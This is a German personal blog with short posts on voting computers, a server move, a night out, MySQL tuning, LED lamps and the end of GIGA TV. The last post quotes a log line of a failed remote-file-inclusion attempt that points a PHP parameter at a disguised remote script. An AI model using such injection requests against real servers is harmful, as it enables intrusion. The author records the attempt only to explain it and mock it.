EOD – Ruhe im Wahlcomputer

…und natürlich darf man die Nachricht des Tages nicht vergessen: Das Bundesverfassungsgericht hat den Einsatz von Wahlcomputern erst mal untersagt. Eigenen sich auch besser zum Schachspielen als Wählen. Hätte ich Sekt hier würde ich den ja auf machen, so bleibt mir nur ’ne Tüte Chips von Karneval.

EOF – Ruhe im Server

*Ächts* geschafft. Alle Inhalte, welche ich behalten möchte sind inzwischen auf meinem neuen Server angekommen und laufen irgendwie. OK, an vielen Ecken muss noch gefeilt werden: Das Monitoring verschickt gerne falsche Warn-SMS, die Backupfehler heute Morgen sind auch nicht gut für die Laune und wenn noch ein Kunde mit „Webseiten“ ankommt, welche nach 40 Sekunden Ladezeit abgewürgt werden und das als Fehler des Servers und nicht als Designfehler der Software darstellen werde ich keine Antworten mehr senden. Trotz der Ärgernisse läuft der neue Server zuverlässig genug, dass ich nun den nächsten Meilenstein abhaken kann: Die Kündigung meines alten Servers ist raus.

Reparatur-Wochenende

Dieses Wochenende wird repariert – und zwar alles. Los ging es erst mal mit einer etwas ungeplanten Reparatur: Nach einer Party machte mein Kinn Bekanntschaft mit einer Treppe – Pech gehabt. Nach Kurzbesuch im Krankenhaus und etwas unbequemer Nacht dann an meine Elektronik. Erst auf Softwareebene: Mein Relaissystem hat ab und an etwas Packet-loss. Ungünstig, wenn dabei z.B. der Einschaltbefehl des Weckers untergeht. Ein simpler Wrapper prüft nun nach senden des Befehls den Status der Relais und sendet ggf. den Befehl erneut. Direkt danach musste das interne Mailingsystem dran glauben – durch den Wechsel des Mailservers auf meinen neuen Server sind die ins Stocken geraten. Großbaustelle des Wochenendes war die heimische ISDN-Strecke. Der letzte Apparat am Bus funktionierte nur sporadisch. Mit neuem LSA-Verteiler, stundenlanger Adersuche und Korrektur der Abschlusswiderstände sollte das Problem der Vergangenheit angehören. Letztes Projekt bildet fürs Erste eines meiner Funkmikrofone: Da über Funk viel Rauschen auftritt bekommt dieses einen optionalen Kabelanschluss verpasst. Funktioniert soweit auch ganz gut, allerdings ist das Signal sehr schwach und entsprechend immer noch Rauschen vorhanden.Nebenbei bastel ich noch mit WDS herum – die 15EUR-802.11g-Router waren einfach zu verlockend. Leider scheint WPA mit WDS nicht zu funktionieren – schade.

Am Tisch, unterm Tisch, aufm Tisch

Hui, doch schon was her, dass ich über uns Freaks geschrieben habe. Unser Besuch im Dreams, das Currywurstfest und die Schlittentour sind nur in der Gallery zu finden. Heute Nachmittag kam dann, wie immer recht sponan, die Idee in Andernach einzufallen. Treffen 20:30 vorm „Diebels“ – nur da war Keiner. Dieses mal sogar im doppelten Sinne: Dass der „Rest“ gerne mal später kommt als angekündigt ist nichts neues, aber auch im Diebels herrschte gähnende Leere – lediglich die Kellnerin hatte sich an der Theke eingefunden. Nunja, erst mal sicherten Fahrer Thomas und ich eine passende Sitzgelegenheit und orderten die ersten Flüssigwaren. Kurz darauf trafen dann auch Andrea, Heike, Tina, Chris W. und Tristan ein, dicht gefolgt von Mine und schlussendlich dem Rest der Damenrunde. Inzwischen hatten sich schon ein paar Gäste eingefunden und langsam kam Stimmung ins Lokal – bis zu einem Punkt: Nach den ersten Bieren und dem Abendessen hatte Christian die großartige Idee einer Wette. Grob gesagt ging es darum, dass er zu der eher pop-lastigen Musik auf dem Tisch tanzt, wenn Freundin Heike ihr Oberteil hochzieht. Tja, sie tat es (kein Wunder, hatte ja auch noch ein T-Shirt drunter). Mit entsprechender Unterstützung der Anwesenden sowie Aufforderung des DJs legte Chris sodann eine Koreographie auf den Tisch, welche jede Boy-Band blass aussehen ließ. Nun gabs kein Halten mehr. Während die Musik (zu meinem Leidwesen) mit steigender Besucherzahl vom Rock in die Karnevalsmusik wechselte wurden die Bierdeckel voller, die Bänke zur Tanzfläche umfunktioniert und während Andrea, Heike, Chris und Thomas zu „Cotton-Eyed Joe“ die Durchgänge blockierten versuchte sich Mine unterm Tisch mit dem Reparieren von Laufmaschen. Dass u.A. Chris in den folgenden Stunden auch zu den Backstreet-Boys sang und tanzte soll ich nicht erwähnen. Nachdem die Bedienung am Ende unsere Deckelsammlung irgendwie verwurschtelt hatte gings für Andrea, Heike, Tina, Chris, Thomas und mich abschließend zum obligatorischem McDonalds-Besuch – btw, liebe Tina: Auf die Frage „Ist da noch wer drin?“ antworten Burger eher selten mit einem „Ja, hier“.

MySQL-Defaults und die Praxis

Bild: http://adlersa.yotaweb.de/blog/wp-content/uploads/2009/02/mysql_queries-week.pngMySQL ist für kleine Anwendungen bereits seit langem der Datenbankstandard, dummerweise wird aus Zeitgründen häufig einfach nur das Setup aufs System gebügelt und auf jede unnötige Konfiguration verzichtet. Dabei kann gerade über den key_buffer und query-cache ohne großen Aufwand die Geschwindigkeit drastisch gesteigert werden. MySQL selbst bringt eine Konfiguration mit, welche darauf ausgelegt ist auf nahezu allen Systemen lauffähig zu sein. Gerade in Rechnern, welche über Arbeitsspeicher im Gigabytebereich verfügen, bleibt ein Großteil der Leistung ungenutzt. Als Beispiel hier die Werte einer größeren PHP-Applikation mit MySQL-Anbindung:

Default configuration:
Requests per second: 3.74
Time per request: 2672.198

Basic optimization:
Requests per second: 6.85
Time per request: 1459.804

Wie man sieht können fast doppelt so viele Anfragen pro Sekunde abgearbeitet werden, die Ladezeit verkürzt sich entsprechend. Das ganze lediglich durch einige allgemeine Einstellungen, mit anwendungsspezifischer Optimierung an Datenbank und Webserver wäre bestimmt noch etwas mehr drin.

Music Industry Fail

Bild: http://adlersa.yotaweb.de/blog/wp-content/uploads/2009/02/bildschirmfoto-150×150.pngTja, dass die Musikindustrie bei Vertriebsmethoden häufiger ihre Unfähigkeit unter Beweis stellen ist nix neues, die Ideenlosigkeit bei der Kreation neuer Songs führte mir das momentan medial gehypte und imo misslungene Cover von Subway to Sallys „Eisblumen“ heute auch nochmal zu Augen und Ohren. Nun gesellt sich noch die technische Inkompetenz außerhalb der Silberscheiben hinzu – zu dem Bild kann ich nur eins sagen: RTFM…

LED-Benchmark: Kampf der Dioden

Bereits seit einigen Wochen werkelt in meinem Wohnbereich eine LED-Lampe. Heut ist nun das zweite Modell für meinen Arbeitsbereich eingetroffen. Hier ein kleiner Vergleich.

Anfangen werde ich mit den Daten der „Wohn-Lampe“. Es handelt sich um ein 230V-Modell mit E14-Sockel und 78 LEDs, welche für ca. 16EUR bei einem großen Elektroversand bestellt werden kann. Im Shop findet sich keine Typenangabe, über die Verpackung lässt sich aber der Vertreiber samt Datenblatt ermitteln.

Die „Arbeits-Lampe“ ist ein Modell mit nur einer Hochleistungsdiode. Das Gehäuse fungiert als Kühlkörper. In der Ausführung mit E28-Sockel und einem Spannungsbereich von 85-265V ist sie über einen Onlineshop aus Hongkong für umgerechnet 11,50EUR incl. Versand erhältlich. Das „Datenblatt“ des Pappkartons ist mit Kuli ausgefüllt und enthält nur eine Hand voll Daten.

Übersicht der Herstellerangaben:

Bezeichnung Wohn-Lampe Arbeits-Lampe
Hersteller/Vertreiber LEDGalaxy ??
Modell JDR-1478-W ZV1-1? (Unleserlich)
LEDs 78 1
Farbe Weiß (6500°-8000°K) Weiß
Leistung 2,5-3W 3W
Spannung 230V 85-265V
Sockel E14 E28

Optisch fällt direkt auf, dass das Arbeits-Modell trotz des größeren Sockels durch die 1-LED-Technik deutlich kompakter ist. Das Wohn-Modell war Dank 63mm Durchmesser ohne Modifikation der Fassung nicht nutzbar. Dafür ist die Abwärme des 78er Modells geringer. Während diese Lampe auch nach längerem Betrieb lediglich Handwarm wird kann der Kühlkörper samt LED mit einem stark belastetem Notebook-Netzteil mithalten und ist knapp unter der „Zu warm zum festhalten“-Grenze.

Es folgen einige meiner Messwerte – diese sind nicht unter Laborbedingungen angefertigt […blabla…] aber sollten eine grobe Abschätzung zulassen.

Bezeichnung Wohn-Lampe Arbeits-Lampe
Lichtstärke
1m Abstand, frontal
100Lux 800Lux
Lichtstärke
1m Abstand, 10°
85Lux 35Lux
Lichtstärke
1m Abstand, 20°
70Lux 15Lux
Verbrauch
30 Sekunden nach Einschalten
6,0W 3,2W
13097
13092

Wie man sieht kann die Wohn-Lampe die angegebenen 45° ausspielen und sorgt auch in den Randbereichen für eine respektable Ausleuchtung. Das Streu-Licht einer Reflektorlampe kann sie nicht ersetzen, dagegen hält der Verbrauch von 6W – ob man nun eher auf Ausleuchtung oder Verbrauch schaut muss man selbst entscheiden. Ich habe zur Sicherheit neben der LED, welche als normale Durchgangs- und Lesebeleuchtung ausreichend ist, eine zusätzliche Leuchtstofflampe, welche bei Besuch o.Ä. genutzt werden kann.

13087
13082

Die Arbeitslampe hat exakt einen Anwendungsbereich: Punktuelle Ausleuchtung. Hier dürfte sie mit über 800Lux die meisten Glühlampen übertrumpfen. Ebenso deutlich wie die frontale Lichtstärke ist auch der Einbruch der selbigen in den Randbereichen – für Räume definitiv ungeeignet. Dafür wird der Verbrauch mit etwas über 3W nochmal halbiert. Dem Angegeben Spannungsbereich zu Urteilen könnte bei 110V sogar eine noch bessere Effizienz drin sein. Für die Beleuchtung meiner Bastelecke ist die Lampe kein Fehlgriff – das Licht Trifft präzise wie im OP auf meine Steckbretter.

GIGA stellt Sendebetrieb ein

Auch, wenn ich in TV und Community nicht mehr aktiv bin: Giga ruft immer Erinnerungen hervor, so ist diese Nachricht direkt im Sichtfeld hängen geblieben. Die aktuelle Lage im Werbe- und Gamingmarkt haben es bereits vermuten lassen: Spielen geht offenbar nicht immer. Eigentümer Premiere wird zum 31.März den Sendebetrieb einstellen. Eine entsprechende News wurde heute, am Freitag den 13., im GIGA-Blog veröffentlicht und ging kurz danach über den Presseticker. Neue Sendungen werden ab sofort nicht mehr ausgestrahlt. Auch eine Abschiedssendung wird es offenbar nicht mehr geben, diese Aufgabe wird für die Community nun wohl die Mädels und Jungs der Fan-Sendung GIGA.United übernehmen müssen, welche am 4. April wieder für 24 Stunden ausgestrahlt wird.

Heute im Angebot: Mailrouter

Bei einigen Fehlermeldungen muss man schon schmunzeln…

[…]er hat einen Mailrouter bekommen[…]Was können wir nun da machen?

Eventuell lässt sich der Mailrouter ja bei gebraucht eBay verkaufen, ansonsten übernehme ich in solchen Fällen die Eliminierung des „Routers“ gegen einen kleinen Obulus in Form einer SMTP-Fehlermeldung…

Got an error.php?

Wird ja immer kreativer hier… Soeben schleicht sich folgende Zeile ins Log:

"GET /files/tools/****/errors.php?error=http://***.com.ar/images/idia.jpg??? HTTP/1.1" 404 319 "-" "libwww-perl/5.79"

Hinter dem JPEG verbirgt sich ein PHP-Quelltext, welcher mit
echo "NigeriaN HackerS TeaM";
endet

Netter Versuch, aber blind Dateien per $_GET includen hat sich selbst mein Azubi abgewöhnt und register_globals habe ich seit Jahren nirgendwo mehr aktiv gesehen. Dummerweise ist die Whois-Datenbank für .com.ar momentan down, sonst hätte ichs mal beim Provider versucht. So bleibt mir nur es MkSwap gleich zu tun und dem NHT einen schönen Tag zu wünschen…

Nerd Inside